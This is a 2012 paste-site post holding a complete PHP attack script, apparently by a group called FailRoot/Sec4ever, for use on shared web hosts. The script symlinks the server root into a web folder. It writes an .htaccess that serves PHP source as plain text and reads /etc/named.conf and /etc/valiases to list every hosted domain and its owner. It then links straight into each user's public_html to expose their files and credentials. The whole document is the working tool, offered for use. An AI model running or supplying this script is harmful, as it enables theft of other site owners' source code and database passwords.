SHARE
TWEET

Domains + SymLink : www.FailRoot.Wordpress.com

Failroot Jul 31st, 2012 170 Never
  1. <?
  2. error_reporting(0);
  3. echo "<title>#16042012 + Domains + Users</title>
  4. <style>
  5. body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
  6. A:link {text-decoration: none;color: red;}
  7. A:active {text-decoration: none;color: red;}
  8. A:visited {text-decoration: none;color: red;}
  9. A:hover {text-decoration: underline; color: red;}
  10. #new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;}
  11. tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;}
  12. </style>
  13. <p align=center># Domains & Users + SymLink</p>
  14. <p align=center>Code By FailRoot + Sec4ever.Com</p><center>";
  15. mkdir("sym");
  16. symlink("/","sym/1.txt");
  17. $c  = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n  AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
  18. $f = fopen ('sym/.htaccess','w');
  19.  fwrite($f , $c);
  20.  
  21. $d0mains = @file("/etc/named.conf");
  22.  
  23. if(!$d0mains){ die("<b>#Error... -> [ /etc/named.conf ]"); }
  24.  
  25. echo "<table align=center border=1>
  26. <tr bgcolor=green><td>Domain</td><td>User List </td><td>Symlink</td></tr>";
  27.  
  28. foreach($d0mains as $d0main){
  29.  
  30. if(eregi("zone",$d0main)){
  31.  
  32. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  33. flush();
  34.  
  35. if(strlen(trim($domains[1][0])) > 2){
  36.  
  37. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  38.  
  39. echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td><td><a href='sym/1.txt/home/".$user['name']."/public_html'>Symlink</a></td></tr>"; flush();
  40.  
  41. }}}
  42.  
  43. echo "</table>
  44. <p align='center'>
  45. FailRoot'Cod3rz <a href='http://failroot.wordpress.com/'>FailRoot-Sec.Com</a> | <a  
  46.  
  47. href='http://wWw.sEc4EvEr.CoM/'>wWw.sEc4EvEr.CoM</a><br>
  48. </p>
  49. ";
  50.  
  51. ?>
RAW Paste Data
Top